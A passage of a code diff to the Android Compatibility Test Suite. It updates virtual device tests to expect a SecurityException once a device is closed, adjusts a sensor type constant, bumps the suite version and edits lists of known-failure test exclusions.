@@ -302,7 +305,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -343,7 +348,9 @@ public class VirtualDeviceManagerBasicTest {
mFakeAssociationRule.disassociate();
latch.await(5, TimeUnit.SECONDS);
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -384,7 +391,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
latch.await(5, TimeUnit.SECONDS);
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
/**
@@ -865,4 +874,3 @@ public class VirtualDeviceManagerBasicTest {
}
}
}
-
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
index 005eab1e159..ef720f868a5 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
@@ -97,7 +97,7 @@ public class VirtualSensorTest {
private static final String VIRTUAL_SENSOR_NAME = "VirtualAccelerometer";
private static final String VIRTUAL_SENSOR_VENDOR = "VirtualDeviceVendor";
- private static final int CUSTOM_SENSOR_TYPE = 9999;
+ private static final int CUSTOM_SENSOR_TYPE = Sensor.TYPE_DEVICE_PRIVATE_BASE + 9999;
private static final int SENSOR_TIMEOUT_MILLIS = 1000;
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index b699bdec0f4..9fa7ac21fc7 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@ tradefed_binary_host {
wrapper: "etc/cts-tradefed",
short_name: "CTS",
full_name: "Compatibility Test Suite",
- version: "14_r2",
+ version: "14_r3",
static_libs: ["cts-tradefed-harness"],
required: ["compatibility-host-util"],
}
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 0ad645eab21..ee57f286d9f 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -308,4 +308,16 @@
<!-- b/303631162 -->
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.ims.cts.ImsCallingTest#testCallJoinExistingConferenceCallAfterCallSwap" />
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.ims.cts.ImsCallingTest#testCallJoinExistingConferenceCallAfterCallSwapFail" />
+
+ <!-- b/294251187 -->
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testFocusWithTouch" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testPopupWindowPosition" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testFocusWithTouchCrossProcess" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testChildWindowFocusable" />
+
+ <!-- b/294253316 -->
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest#testWhenOneCustomToastWindowAndOneSawWindowBelowThreshold_blocksTouch" />
+
+ <!-- b/307489638 -->
+ <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.satellite.cts.SatelliteManagerTestOnMockService" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
index dc93565805c..462b477b893 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -104,7 +104,6 @@
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testTimeTrackingAPI_SwitchAwayTriggers" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.BooleanTileServiceTest" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.TileServiceTest" />
- <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.QuietModeHostsideTest" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher1" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher2" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher3" />